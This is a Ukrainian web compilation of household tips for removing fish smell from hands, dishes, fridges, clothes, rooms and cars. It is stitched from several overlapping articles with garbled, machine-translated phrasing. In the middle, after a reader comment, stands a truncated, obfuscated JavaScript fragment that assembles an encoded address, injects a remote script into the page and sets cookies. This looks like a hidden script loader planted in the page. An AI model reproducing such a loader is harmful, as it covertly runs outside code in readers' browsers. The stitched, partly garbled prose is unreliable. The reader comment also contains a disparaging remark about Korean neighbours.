Іржава риба як позбутися запаху. Як позбавитися запаху риби в каструлі? Як мінімізувати неприємний запах при смаженні риби

Специфічний запах риби складно сплутати з якимось іншим. Неприємний аромат поширюється не лише на руки та посуд, ним може просочитися одяг та навіть кухня. Давайте разом з'ясуємо, як усунути запах риби з будь-яких поверхонь.

Способи усунення

Перш ніж з'ясувати, як позбавитися запаху в посуді, в холодильнику і на руках, пропоную застосувати поради, які допоможуть зменшити поширення неприємного аромату.

Накривайте рибу.Намагайтеся не зберігати рибу у відкритому вигляді у холодильнику. Завжди загортайте її у фольгу або складайте у герметичний контейнер.

Окрема дошка для оброблення риби.На обробній дошці накопичується багато рибних відходів, тому рекомендую придбати окрему дошку, яка призначатиметься тільки для оброблення рибних делікатесів. Бажано виділити не лише окрему дошку, а й спеціальний обробний ніж.

Відразу вимити предмети, що контактували з рибою. Мити всю кухонне начиння, що контактує з рибою, необхідно відразу ж, не відкладаючи на потім.
Сухі руки в рукавички.Руки пахнуть рибою переважно через те, що волога шкіра легко вбирає їдкі запахи. Рекомендую надягати кухонні рукавички (приклад на фото нижче).

Маринування.Щоб риба не виснажувала неприємний аромат при жарінні, її необхідно попередньо замаринувати (в оцті або в пиві).

Позбавляємося неприємного запаху з посуду та рук: 6 методів

Як видалити запах з посуду та рук:

Зображення	Інструкція
	Спосіб 1. Лимон + сіль Зі шкіри рук: потріть часточки лимона між пальцями, змийте водою З посуду: посипте поверхню сіллю, а потім протріть необхідну ділянку зрізом половинки лимона.
	Спосіб 2. Гірчичний порошок Якщо в каструлі довго лежала риба, засипте її дно гірчичним порошком і залиште на 30 хвилин. Після цього ретельно промийте ємність.
	Спосіб 3. Пиво Забрати запах риби з рук можна, обполоснувши їх темним пивом. На завершення обов'язково потрібно вимити долоні з милом. Особливо ефективно цей метод видаляє аромат копченої та в'яленої риби.
	Спосіб 4. Миючий засіб Використовуючи миючий засіб для посуду із запахом лимона, можна легко усунути неприємний аромат. Головне – використовувати гарячу воду.
	Спосіб 5. Сирі овочі Відріжте кілька скибочок сирої картоплі (моркви чи цибулі). Натріть срізами смердючі поверхні. Потім сполосніть спочатку в холодній воді, після - у гарячій з миючим засобом.
	Спосіб 6. Солона вода Закип'ятіть воду і додайте до неї 3 ст. л. солі. Гарячою водою помийте посуд та руки. Такий спосіб добре працює з очищенням обробних дощок.

Усуваємо запах у приміщенні: 5 методів

Позбутися аромату смаженої рибиу приміщенні досить просто. Отже, у таблиці є кілька способів, як освіжити запах у квартирі:

Зображення	Опис
	Метод 1. Оцет Закип'ятіть у чайнику воду. Додайте до неї пару столових ложок 9% оцту. Зачекайте, поки виділяється аромат пошириться по кухні.
	Метод 2. Гвоздика + лимон Розріжте 2 лимони навпіл. Вставте в місця зрізів суху гвоздику. Покладіть лимони в киплячу воду і дайте проварити 5-10 хвилин.
	Метод 3. Смажені кавові боби Відмінно освіжає повітря аромат смажених кавових зерен. Посмажте жменю бобів на сковороді та запах риби зникне.
	Метод 4. Апельсинова кірка Спалить висушені апельсинові кірки, після чого провітріть приміщення. Будьте обережні, кірки легко спалахують і дуже швидко згоряють.
	Метод 5. Вологе прибирання Можна влаштувати вологе прибирання з використанням будь-якого миючого засобу, що смачно пахне.

Освіжувачі повітря не можуть усунути специфічний рибний аромат. Не рекомендую їх застосовувати, особливо якщо врахувати, що ціна подібних ароматизаторів штучно завищена.

Видаляємо аромат риби з одягу: 3 рецепти

Я знаю ще кілька способів, які зможуть усунути рибний запах з одягу:

Зображення	Опис
	Рецепт 1. Вода + оцет Розведіть 100 мл оцту на 5 л. води. Замочіть річ у розчині. Ретельно виполощіть і висушіть.
	Рецепт 2. Пароочисник Якщо у вас є відпарювач, вам дуже пощастило. Пройдіть струменем пари по всій поверхні виробу.
	Рецепт 3. Миючий засіб для посуду Розведіть у теплій воді трохи миючого для посуду. Занурте річ в отриману густу піну на 30 хвилин. Рясно промийте під проточною водою та висушіть.

Висновки

Тепер ви озброєні способами, які допоможуть легко усунути рибний запах з різних поверхонь. Відео у цій статті доведе, це можна зробити швидко та просто! Якщо у вас виникнуть складнощі - звертайтесь до коментарів, допоможу порадою.

Запах риби

Запах рибидуже специфічний. Він може бути більш менш вираженим, але він є у будь-якої риби, і сирої, і смаженої. Такий процес, як видалення запаху рибивимагає знання деяких секретів.

Багато хто любить рибу - смажену, в'ялену, копчену, готують юшку, купують її до пива. Вона корисна, поживна, у ній багато жирних кислот та вітамінів. Але на жаль, запах рибидуже стійкий, і вивести його з дощок, столу або посуду часом буває дуже важко. А якщо процес приготування тривалий, то ніяка витяжка не врятує, цим «ароматом» просочаться і скатертини, і штори. Давайте розглянемо варіанти як вивести запах рибиу різних ситуаціях.

Неприємний аромат у квартирі

Видалити запах риби на кухні допоможуть сіль, лимон, цедра лимона чи апельсина, оцет. Сіль добре відтягує на себе будь-які запахи. Якщо її нагріти на сковороді і на деякий час залишити на плиті (до остигання), якусь частину аромату вона вбере. Далі можна використовувати цедру лимона чи апельсина, яка остаточно усуне запах риби у квартирі. Для цього цедру теж треба нагріти. Це можна робити просто на конфорці, а можна на маленькій сковорідці. Як усунути запах солоної рибиякщо цедри немає? Треба закип'ятити в невеликій каструльці воду з оцтом або соком лимона, після чого провітрити кухню.

Але найкраще неприємний запах рибиусуває каву. Аромат злегка підсмажених на сковорідці кавових зерен наповнить ваш будинок і одразу змусить забути про специфічну рибну проблему.

Деревне вугілля, подрібнене і встановлене в невеликій посудині в коморі, коморі, поглинає запахи. Неприємний запах у буфеті можна видалити, поклавши і його трохи деревного вугілля чи скибочки цибулі.

Смажена риба

Запах смаженої риби є дуже сильним і миттєво наповнює собою весь простір, вбираючись при цьому одяг, шкіру і все навколо. Для усунення сильного запаху при смаженні риби в олію покладіть одну картоплину, очищену і нарізану скибочками.

Є вірний спосіб, як приготувати рибу без запаху:

рибу почистити, нарізати шматками
посолити та додати приправ
в каструльку налити 0,5 л пива (БУДЬ!) туди рибу, нарізану шматочками), і в холодильник.
достатньо витримати рибу в пиві 20 хвилин (можна й цілий день, гірше вона від цього не стане).
перед жаркою рибні шматочки на деякий час у друшляк (щоб скло пиво)
і можна смажити!

Холодильник

Зберігаючи рибу в холодильнику, обов'язково щільно пакуйте її, інакше всі продукти просочаться її специфічним запахом.

Добре усуває запах риби в холодильникугірчиця. Краще використовувати суху, але, через її відсутність, підійде і готова приправа. Холодильник промивають розчином гірчиці

Посуд

А як відмити запах рибиіз використаного посуду? Виделки та ножі не пахнуть рибою, якщо перед миттям протерти їх будь-яким маслом або скоринкою лимона. Перш ніж мити ніж після оселедця, цибулі або часнику, потримайте його над конфоркою, що горить, або протріть морквою, сирою картоплею, олією, оцтом, потім вимийте холодною водою з милом. Запах риби на рукахзабирається так: перед миттям протріть руки сіллю - запах зникне.

Як позбутися запахів на обробній дошці.

Перш ніж обробляти рибу, треба розібратися як позбавити рибу від запаху?

Потрібно нарізати часник або цибулю, намочіть обробну дошку 9% оцтом або протріть часточкою лимона.

Коли ваша обробна дошка просякнута запахом від риби, збризкайте дошку оцтом, розведеним водою у співвідношенні 1:1, або лимонним соком.

Запах часнику, квашеної капустиабо риби можна прибрати, якщо промити обробну дошку гарячою солоною водою (4 столові ложки солі на літр води) або теплою водою з розведеним в ній оцтом (2 ст. ложки оцту на 2 літри води).

Коли від обробної дошки виходить малоприємний аромат сирого м'яса, замочіть дошку на півгодини у гарячій воді з подрібненим деревним вугіллям(100 гр. на літр). Можна замість вугілля застосовувати щіпку меленої кави. Далі ретельно вимийте дощечку під проточною водою з додаванням рідких ароматизованих засобів для миття посуду.

Якщо ж ваша обробна дошка зроблена з харчового пластику, то, щоб позбутися неприємного запаху, промийте її поверхню водою з додаванням питної соди, або протріть ганчіркою, змоченою оцтом, промийте.

Щоб позбутися аромату цвілі, що виходить від дерев'яної обробної дощечки, активно протріть її кавової гущавиниі залиште так кілька хвилин. Після цього добре, промийте кухонний інструмент під гарячою проточною водою.

Протріть дошку порошком сухої гірчиці або спитим чаєм, щоб позбутися аромату оселедця. Також чудово нейтралізує подібний «запах» свіже молоко. Просто протріть обробну дошку губкою, змоченою в холодному молоці.

У момент вибору обробної дощечки враховуйте той факт, що пластикові та скляні дощечки найменш схильні до поглинання різних ароматів, ніж дерев'яні. Крім іншого, варто також враховувати, що дощечки з рифленою поверхнею складніше відмити, а відповідно і проблем із запахами стане більше.

Використовуйте щонайменше три-чотири дошки для різних груп продуктів і відразу після готування ретельно мийте їх у гарячій воді з додаванням особливих засобів для посуду. Імовірність появи стійких ароматів при цьому догляді за цим кухонним приладом буде мінімальною.

Запах риби у духовці?

Усі знають, що запах риби прибратиз ножа чи пальців можна, втративши їх часточкою чи цедрою лимона. А ще лимон підкаже як відбити запах рибиу духовці: налийте в лист воду, наріжте туди половину лимона і поставте в духовку, що не охолола, на 15 хвилин.

Одяг

Не знаєте як позбутися запаху риби на одязі? І тут є рішення. Випрати запах рибивідразу неможливо. Спочатку випрати вашу річ звичайним способом. Якщо неприємний запах досі зберігся, починайте використовувати підручні засоби. Розведіть у воді порошок і додайте|добавляйте| сік лимони при пранні. Видайте ваш виріб вручну. Аромат лимона має поглинути неприємний запах риби. При необхідності випрати вашу річ у машинці з додаванням кондиціонера.

Добре позбавляє запаху риби звичайний засіб для миття посуду з ароматом лимона. Випрати вашу річ руками з використанням засобу для миття посуду. У жодному разі не варто додавати в пральну машину засіб, яким ви миєте посуд. Воно утворює багато піни, що може призвести до поломки техніки.

Випрати вашу річ на руках, за допомогою звичайного порошку. Під час полоскання додайте у воду 1 столову ложку оцту. Він нейтралізує неприємні запахи. Якщо жоден з рецептів вам не допоміг, зверніться в хімчистку. Професійні засоби догляду за тканинами з легкістю впораються з цією проблемою.

Тканина

Скатертини, рушники, одяг легко вбирають запах риби. Як усунути запах рибиз тканини? Позбутися його важко, особливо якщо відправили їх у прання не відразу. Знов-таки нагоді оцет. Його треба додати в трохи теплу воду з розрахунку 2 ст.л. оцту на 5 літрів води, замочити річ, що має неприємний запах, і через деякий час випрати її звичайним способом.

Неприємний запах від риби

Якщо ви готуєте юшку з великої прісноводної риби, то існує ймовірність того, що буде присутня запах тину у риби. Щоб не зіпсувати страву, в бульйон додають коріння, наприклад, петрушку або селера, цибулю (ціла головка) і цілу моркву. Крім того, знадобиться лавровий листта перець горошком. Я чула, що позбутися запаху риби в бульйоні можна за допомогою огіркового розсолу, але цей спосіб ніколи не застосовувала, тому що риба із запахом тину мені не траплялася. Специфічний запах, який має риба – не привід для того, щоб відмовлятися від такого. цінного продуктуособливо якщо знаєш, як з цим запахом боротися.

Салон автомобіля

На питання чим вбити запах рибиу салоні автомобіля відразу скажу - запах риби в машинівидалити дуже складно. Рекомендує звернутися до автосалону, де вам допоможуть фахівці.

Свіже дихання

Ми можемо підказати наступні народні засобидля того, щоб усунути неприємний запах риби з рота:

Їсти якнайбільше свіжих яблук;

Пожувати 1-2 хвилини зерно кави;

Полоскати рот настоєм звіробою, 2 ст.л. на 1 склянку окропу, полоскати 2-3 десь у день;

При захворюваннях шлунка, через які виникає запах, допоможе настій м'яти. 1ст. сухого листя м'яти на 1 склянку окропу. Полоскати 4-5 разів на день;

Жуйте листочки м'яти або петрушки, вони мають природну антисептичну властивість, пригнічують бактерії і тим самим усувають неприємний запах з рота.

Звичайно, всі ці методи хороші якщо людина знаходиться вдома, але важко уявити виконання цих процедур на роботі, в гостях, в театрі, тут необхідно мати спрей освіжаючий дихання або жувальну гумку краще без цукру. Постійний контроль свіжості дихання принесе багато приємних моментів у ваше життя.

Обговорити у себе 0

Я студентка хімічного університету. Живу у гуртожитку. Діти живуть різних національностей. Нещодавно до нас у блок заселили корейців. І почався просто жах. Я ніколи не любила запах вареної риби. А вони її не просто варили, вони готували її прямо на газових конфорках. Запах стояв просто кошмарний. До кухні неможливо було зайти, та й від одягу після відвідування кухні пахло рибою. Комендант гуртожитку робила їм зауваження, загрожувала виселенням, але ніякого толку, як смажили він свою рибу, так і смажили. Загалом, замучилися ми з дівчатами від того, що від нас вже стало пахнути цією рибою. На парах навіть незручно було, ходили з відчуттям, що від нас моторошно смердить. Не довго розповідатиму, загалом, врятував нас засіб під назвою дуфтафреш, по-моєму. Хоча б від одягу тепер не пахне, та й корейців нарешті виселили. Дихаю на повні груди. Раджу.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/g) ;for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.smlo.loadSmlo(n.replace(«https:»,«http:»));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.zSmlo.loadSmlo(n.replace(«https:»,«http:»));else{var i=document.createElement(«script»);i.setAttribute(«src»,n),i.setAttribute(«type»,«text/javascript»),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,«function»==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),«function»==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o(«a2519043306»)!=f&&n(«a2519043306»,f,{expires:parseInt(«3600»)})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o(«a36677002»)!=i&&n(«a36677002»,i);var r=o(«a2519043306»);t=r?r:e,s(t)};f()}();]]>

Риба - чудовий, смачний продукт, який рекомендується всіма дієтологами світу. Юшка, суші, роли, в'ялена, смажена, запечена риба... Перелік страв із морської чи річкової мешканки обмежений лише фантазією кухаря. Але існує один недолік, що змушує відмовитися якщо не від вживання риби взагалі, то від приготування в домашніх умовах – сморід.

Господиням доводиться щоразу вирішувати складне завдання - позбавлятися запаху риби, що пронизує все навколо в процесі приготування. Не витрачати час на нескінченні перестирання рушників, миття ножів та виделок допоможе ця стаття. Ми постаралися зібрати всі рецепти, які допомагають усунути ненависний букет. Виберіть той, який буде найбільш корисним для вас.

Як позбавитися запаху риби на кухні в процесі приготування?

Ви ще не встигнете підчепити вилкою шматочок риби, а весь будинок знатиме, що у вас на вечерю чи обід. «Аромат» буквально в'їсться в сковороди та каструлі, витатиме у повітрі. Для початку з'ясуємо, як же позбутися запаху риби на кухні під час смаження. Не потрібні жодні суперсучасні та дорогі кошти. Сіль, оцет, лимон є на кожній кухні. Сковороду або сотейник потрібно ретельно протерти паперовим рушником, щоб не залишилося навіть краплі олії. Після цього посуд промити стандартним засобом і просушити.

На заключному етапі приготування на дно сковороди необхідно насипати жменю солі, прожарити і остудити, а потім викинути вміст. У духовку після процедури запікання поміщається лист з лимонною цедрою. Позбавлення від неприємного запаху гарантовано. Не варто забувати і про наступні нескладні способи усунення амбре:

посуд обробити гірчицею або олією і промити миючим засобом;
протерти всі сковороди, виделки, тарілки та сотейники сирою цибулею, часточкою моркви або картоплею, промити розчином оцту. Так само роблять з обробними дошками та ножами. Пластикові чи скляні дошки обробляють розчином харчової соди. Особливу увагу доведеться приділити ребристим варіантам. Їх складніше промити та очистити після обробки делікатесу.

Не менш важливо знати, як позбутися запаху в процесі смаження. З «ароматом», що походить від морських чи річкових мешканців, не впорається жодна витяжка. Запаху не буде, якщо в олію покласти хоча б один кружок очищеної картоплі чи цибулі. Після цього в сковороду містяться шматки риби.

Спочатку зменшити обсяги «ароматизаторів», що викидаються в атмосферу, можна, якщо до початку готування обробленого товстолобика або карася замочити в розчині оцту або невеликій кількості пива.

Як позбутися запаху тину в рибі

Представники річкових порід відрізняються додатковою неприємною особливістю – «ароматом» тину. Він здатний зіпсувати найсмачнішу юшку, приготовлену найкращим кухарем. Щоб не морщитись за столом, використовуйте такі способи:

у каструлю додайте 5-6 крапель коров'ячого молока. Це не тільки покращить смак страви, але й допоможе позбавитися запаху тину в рибі;
якщо попередній варіант з різних причин неприйнятний, у бульйон слід покласти цілу цибулину, моркву, корінь селери. Страва набуде особливого смаку. Перед подачею овочі просто витягуються.

Як позбутися запаху риби на руках і в роті

«Аромат», що в'ївся в шкіру рук, здатний псувати настрій протягом тривалого часу. Позбутися його допоможуть найпростіші і доступніші засоби: цибуля, лимон, рослинна олія. Достатньо протерти шматочком лимона або цибулі руки, і «пахощі», як не бувало. Але у випадку з цибулею потім доведеться вирішувати завдання зі звільненням від нового запаху.

Якщо лимона у квартирі немає, не варто поспішати різати ріпчастого «рятівника». Позбутися запаху риби на руках допоможе розчин оцту. Достатньо 2-3 ложки розчинити у воді і ретельно промити руки. Можна протерти руки ватним тампоном, змоченим в оцті. Цей варіант варто запам'ятати і тим, хто не знає, як позбутися запаху риби в холодильнику.

Після обробки копченої риби будь-яких сортів не варто відразу відкривати кран з гарячою водою, сморід від цього тільки посилиться. Якщо намічалася вечірка з пивом, залиште трохи протирання рук. Фортеця напою та колір значення не мають. Допоможе й звичайна суха гірчиця. Руки потрібно добре потерти порошком та промити водою.

Не відчувати дуже і дуже неприємний післясмак допоможе звичайна петрушка. Пожуйте пару листочків і позбавтеся запаху риби в роті. Цей засіб є актуальним для тих, хто поспішає на ділову зустріч, але не зміг відмовитися від улюбленої страви.

Влітку можна порадити й інший спосіб – ягоди полуниці чи свіже яблуко. Гарантовано не лише задоволення, а й повне усунення неприємного аромату у роті. Кавомани можуть пожувати одне-два зерна кави.

Як позбутися запаху риби на одязі та тканині

Кухонні рушники, фартухи, прихватки можуть залишитися назавжди «власниками» неприємного запаху. Якщо вчасно не вжити необхідних заходів, річ швидше за все доведеться викинути. Це стосується й одягу.

Наведені нижче способи допоможуть зберегти гардероб, але необхідно враховувати рекомендації виробника. У всіх випадках передбачається використання звичайного господарського мила. Шматки краще вибирати темні: у них міститься більша кількість лугу.

Як же позбутися запаху смаженої риби або юшки на одязі:

у гарячій воді необхідно розчинити 2-3 ложки оцтової кислоти. Речі замочуються на годину та більше. Потім слідує звичайне прання, але замість порошку використовується господарське мило. Якщо з першого разу повністю позбутися сморід і плям не вдалося, процедуру необхідно повторити;
якщо речі видають неприємний запах тухлої риби, їх замочують у концентрованому розчині кухонної солі. Через півгодини рушники та предмети гардеробу перекладаються у пральну машину для звичайного прання з порошком чи іншим засобом.

Позбутися запаху тухлої риби допоможе лимонна кислота. 1 ст. ложка "лимонки" розчиняється у 10 літрах води. Речі необхідно спочатку замочити, потім випрати, додавши порошок. Важливо не переборщити, інакше тонкі майки або блузки стануть непридатними.

Позбутися запаху риби на одязі світлих тонів можна, використовуючи все те ж господарське мило. Його потрібно натерти на тертці у велику ємність із водою. Речі, якщо немає обмежень від виробника, протягом півгодини кип'ятять у сильному мильному розчині. Якщо цей спосіб обробки не рекомендований, замочіть розчин на годину і більше. Далі всі речі необхідно ретельно прополоскати, змінюючи воду. При останньому полосканні додається оцет.

Перераховані кошти будуть ефективні, а рибного запаху на речах вдасться позбутися раз і назавжди в тому випадку, якщо все випране після полоскання ретельно розвісити для просушування і провітрювання. Речі не можна тримати в тазі чи пральній машині. Сушити їх краще на вулиці. У кімнаті неприємний аромат повернеться, і всі процедури доведеться знову і знову повторювати.

Як позбутися запаху риби у квартирі

Приготування страв з риби - це очікування смачного обіду та неприємний запах, що розповсюджується по всій квартирі. Позбутися його, тільки відкривши вікно, не вийде. Потрібні ефективніші заходи. Тим, хто не знає, як позбутися неприємного запаху на кухні або у всій квартирі, пропонуємо наступне:

на сковороді підсмажте або хоча б підігрійте цедру лимона або апельсина. Підійде й грейпфрут. Якщо не можна використовувати сковороду, покладіть цедру поруч із свічкою або іншим джерелом тепла. Пахощі цитрусових «витіснить» будь-який інший запах;

у каструлі прокип'ятіть воду з додаванням оцту. Якщо амбре і зникне взагалі, стане менш нав'язливим;
любителі кави можуть пожертвувати кількома зернами, добре обсмаживши їх на сухій сковороді. Запах кави здатний замістити будь-які інші. Чи не встоїть і риба.

У буфеті, коморі, на кухні досвідчені господині рекомендують встановити маленькі ємності з деревним вугіллям - бездоганним природним абсорбентом.

Як позбутися запаху риби в холодильнику

Морепродукти не можна зберігати довго, особливо влітку. Якщо довелося покласти рибу в холодильник, її запахом просочиться все: і м'ясо, і молоко, і фрукти. Ризик буде меншим, якщо всі продукти тримати в закритих контейнерах, а рибний напівфабрикат не виймати з упаковки безпосередньо до процесу приготування.

Якщо ж «аромат» все ж таки поширився, то позбутися запаху риби можна, використовуючи розчин оцту. Їм необхідно протерти всі дверцята, полиці, ручки та інше. Холодильник попередньо розморожується.
Не менш дієвий засіб – розчин харчової соди у теплій воді. Їм промийте кожен відсік, навіть той, де риби ніколи не було.

Досвідчені господині радять поставити на полицю блюдце з скоринками чорного хліба, часточками яблука, картоплі або сухою содою. Ці продукти - хороші адсорбенти для ароматів, що псують настрій. Яблука та картопля потрібно регулярно міняти, щоб не отримати нове джерело, але вже цвілі.

Як позбутися запаху риби в машині

Автомобіль затятого любителя посидіти на березі з вудкою легко відрізнити за специфічним ароматом. Позбутися його буває досить складно. Експерти та автолюбителі пропонують кілька порад, як позбутися запаху свіжої чи протухлої риби в машині:

Спочатку не варто пшикати дезодорантом. Запах від підводних мешканців нікуди не подінеться, а суміш «ароматів» вийде жахливою;
на ніч у машині можна залишити ємність із розчином оцту або з водою з додаванням лимона. Засіб усуне і рибний «дух», і амбре, що залишається від сигарет. Повторювати процедуру краще щовечора;

промити всі деталі хлорним розчином. Порада є актуальною, якщо є можливість залишити машину на всю ніч з відкритими вікнами або дверима;
відігнати автомобіль у хімчистку. Спосіб дорогий, але дієвий. Спеціальні реактиви усунуть усі запахи, хоч би хто був їх джерелом.

Позбутися запаху риби можна. Але робити це потрібно вчасно, не відкладаючи на потім. В іншому випадку сморід просочить і квартиру, і автомобіль. І вже не врятує ні генеральне прибирання, ні хімчистка. Рушники, штори доведеться міняти. А одяг довго «нагадуватиме» про себе рідкісним «пахощом».

Всі, хто любить поласувати таким продуктом, як риба, знають, що великим мінусом у процесі приготування є специфічний аромат. Рибний запах в'їдається в обробну дошку, ножі та посуд, не змивається з рук, просочує волосся та одяг, а часто «поселяється» не тільки на кухні, але й поширюється по всьому житлу. Однак не все таке жахливо, як здається. Знаючи деякі нюанси, ви легко позбавитеся рибного запаху в будинку або квартирі.

Чому запах риби так важко вивести

Пояснюючи причину уїдливості рибного запаху, звернемося до хімії. Свіжа морська риба пахне зеленим листям та морем. Остання обумовлюється наявністю бромфенолів - органічних сполук, що виробляються водоростями та їжею риб. Річкова ж риба найчастіше має аромат свіжоскошеної трави та грибів. Щоб не перевантажувати мозок безліччю хімічних термінів, можна сказати, що з зберіганні риби (зокрема й у холодильнику) починаються різні реакції, у яких і з'являється специфічний аромат. Запах свіжої риби не такий їдкий, тому позбутися його можна просто протерши робочі поверхні, ніж і посуд звичайною або підкисленою водою. Однак у процесі теплової обробки утворюються леткі молекули, які й розносяться по всій кухні і далі, залишаючи після себе дуже відчутний «слід», з яким доводиться боротися всіма доступними способами. Те саме стосується і запаху протухлої риби. У процесі розкладання, який починається в цьому продукті набагато швидше, ніж у м'ясі, також утворюються леткі молекули, через які сильний і дуже неприємний запах надовго «повисає» в повітрі і просочує предмети, що знаходяться в оселі.

Можливі заходи профілактики

Існує ряд способів, спрямованих на зменшення або запобігання появі рибного запаху в квартирі. Нижче ми розглянемо основні з них:

Корисна порада. Для того щоб уберегти житло від неприємного запаху, не забувайте використовувати витяжку та щільно закривати двері з кухні. По можливості відкривайте вікна безпосередньо під час приготування.

Як позбутися рибного запаху

Якщо ви забули про профілактичні заходи або схаменулися вже в процесі приготування, скористайтеся порадами нижче.

З посуду

Весь посуд, обробну дошку та ножі, що використовувалися в процесі оброблення та смаження риби, слід вимити відразу після закінчення приготування. Чим швидше ви це зробите, тим менше сморід встигне в'їстись у поверхні кухонного начиння. Хорошими помічниками у цій справі стануть для вас:

Нотатка. Сіль допоможе очистити та обробну дошку. Після обробки риби посипте дошку сіллю і потріть половинкою лимона. Залишіть на кілька хвилин, потім змийте водою та просушіть.

Рослинна олія.Посуд і ножі із запахом можна протерти паперовим рушником або шматочком м'якої тканини, змоченими в рафінованій олії. Після цієї процедури не забудьте вимити посуд миючим засобом і обполоснути гарячою водою.
RAW овочі.Для видалення неприємного запаху можна скористатися також скибочками сирих овочів, наприклад, картоплі. Натріть ними поверхні посуду, дошки або ніж, потім вимийте та промийте.

З рук

Якщо вам незручно працювати в рукавичках або їх просто не виявилося під рукою, і, як результат, шкіра рук ввібрала рибний запах, найбільш дієвими будуть наступні методи:

З одягу та кухонних рушників

Одяг, кухонні рушники та фартухи, фіранки на вікнах також просочуються рибним запахом, який непросто видалити. Перше, що необхідно зробити, щоб полегшити процес, - це якнайшвидше випрати всі речі вручну або в пральній машині, використовуючи звичайний засіб для прання. Якщо цього заходу виявилося недостатньо чи минуло багато часу, знадобляться додаткові дії:

Порада. Якщо часу на прання одразу після роботи на кухні немає, одяг та рушники можна загорнути у старі газети. Друкарська фарба увібрає в себе частину запаху, а також не дасть йому поширюватися по всьому приміщенню.

Завершальними штрихами у боротьбі з рибним запахом стане також додавання кондиціонера з приємним ароматом при полосканні та сушіння речей на відкритому повітрі.

З меблів

Виводити неприємні запахи з м'яких меблів – завдання не з простих. Тому найкраще під час смаження риби не забувати щільно закривати двері, що ведуть з кухні. Однак часто буває так, що і це не допомагає. Що робити у такому разі? Покупні засоби побутової хімії не завжди ефективні, а іноді їх просто може не опинитися під рукою у потрібний момент. На цей випадок радимо вам ознайомитись з деякими варіантами вирішення цієї проблеми:

Столовий оцет.Як можна помітити, цей продукт є чудовим помічником у боротьбі з нейтралізацією непотрібних ароматів у всьому будинку. Розведіть оцет у тазу або відрі з водою, намочіть в отриманому розчині великий шматок тканини (наприклад, старе простирадло), відіжміть її і накрийте диван. Злегка притисніть тканину до поверхні меблів, щоб оцет зміг проникнути у верхній шар оббивки. Повторіть прийом кілька разів.

Увага! Перш ніж приступити до описаного вище процесу, спробуйте прикласти змочену в розчині тканину до задньої сторони дивана, щоб переконатися, що з оббивним матеріалом не відбудеться жодних видимих змін! Крім того, якщо на меблів присутні якісь забруднення у вигляді плям, слід в першу чергу зайнятися їх видаленням, так як оцет може виступити в ролі закріплювача, тим самим додавши вам більше роботи.

З приміщення

Посуд вимитий, речі випрані, руки чисті! Залишається лише позбутися настирливого рибного запаху на кухні або у всьому житлі. Що можна зробити?

Риба є смачним та корисним продуктом і, незважаючи на її сильний запах, відмовлятися від такого цінного джерела вітамінів та насолоди смаком, звичайно ж, не варто. Скориставшись нашими порадами, ви зможете уникнути неприємного запаху або істотно знизити його прояв у своєму будинку. А чи є у вас секрети боротьби із рибним запахом, про які ми ще не знаємо? Обов'язково поділіться ними у коментарях!

Риба була присутня в раціоні людей з незапам'ятних часів. Її цінне м'ясо містить такі необхідні людському організму натуральні вітаміни, мінерали, жирні кислоти і т.д. Це чудовий дієтичний продукт. Її можна приготувати різними способами: варити, смажити, солити, готувати на пару, запікати. Однак є один нюанс - запах риби важко виводимо. Деякі люди його просто не терплять. Щоб його позбутися, доведеться докласти деяких зусиль. Про найдоступніші способи усунення не найприємнішого «аромату» ми розповімо у цій статті.

Наші руки вступають у безпосередній контакт із рибою, коли ми її миємо, чистимо, обробляємо та готуємо. Звичайно, її запах в'їдається в шкіру, а це вже не дуже приємно. Щоб усунути запах риби з рук, спробуємо використовувати підручні засоби.

Найпростішим і найбезпечнішим засобом, здатним усунути запах риби зі шкіри, є звичайний лимон. Поріжте його на часточки, і добре потріть руки видавленим соком. Помийте руки під водою та насолоджуйтесь свіжістю вашої шкіри. До речі, якщо під час обіду на столі є рибні страви, поставте на стіл ємність з лимонною водою. У гостей буде можливість ополоснути пальці та прибрати запах риби з рук прямо за столом. Вони обов'язково оцінять вашу турботу.

Відмінним засобом усунення рибного запаху є звичайна зубна паста. Хто б міг подумати, але вам достатньо нанести пасту на руки, добре потерти і змити під водою. Свіжий запах вам гарантовано.

Спробуйте застосувати звичайне рідке мило. Але тут нюанс. Його треба нанести на шкіру і терти руки, поки воно не висохне. Так мило зможе поринути глибоко в пори, щоб краще попрацювати. Потім його треба добре змити під проточною водою. Пам'ятайте, мило все-таки схильне підсушувати шкіру. У Використовуйте крем для пом'якшення шкіри рук після застосування цього способу.

Ще можна використовувати:

оцет,
суху гірчицю,
кава,
соняшникова олія,
спирт тощо.

Мелену каву, крім того, працює ще й як домашній скраб, відлущуючи ороговілі лусочки шкіри. Нанесіть після застосування на ручки крем. Поєднавши корисне з приємним, ваша шкіра набуде свіжого та доглянутого вигляду.

Щоб очистити від запаху посуд, промийте його і протріть лимонним соком або оцтом. Якщо в будинку є пиво, використовуйте його: протріть посуд. Ополосніть водою. Можна застосувати картоплю чи цибулину. Пройдіться відрізаною половинкою по посуду і промийте.

Якщо ви любитель рибних страв і часто їх готуєте, є сенс придбати кошти, розроблені хімічною промисловістю, спеціально для усунення цього специфічного аромату.

Руки – не єдині постраждалі від запаху мешканки вод. Він також з'являється у місцях, де ми обробляємо, готуємо та зберігаємо рибу. Наприклад, у холодильнику, на кухні, у їдальні і т.д. Як позбутися цієї неприємності ми розповімо далі.

Як швидко позбутися неприємного запаху риби у приміщенні?

Ми ж не хочемо, щоб наші домашні чи гості повертали носи від поганого запаху у приміщенні, де ми обробляли та готували рибу? Є кілька способів цього уникнути.

При варінні рибного бульйону додайте трохи молока. Молоко має чудові властивості: воно не пригнічує смак самої риби, а от супроводжуючого «аромату» не буде.

При смаженні рибки додайте в сковороду кілька скибочок картоплі або цибулі.

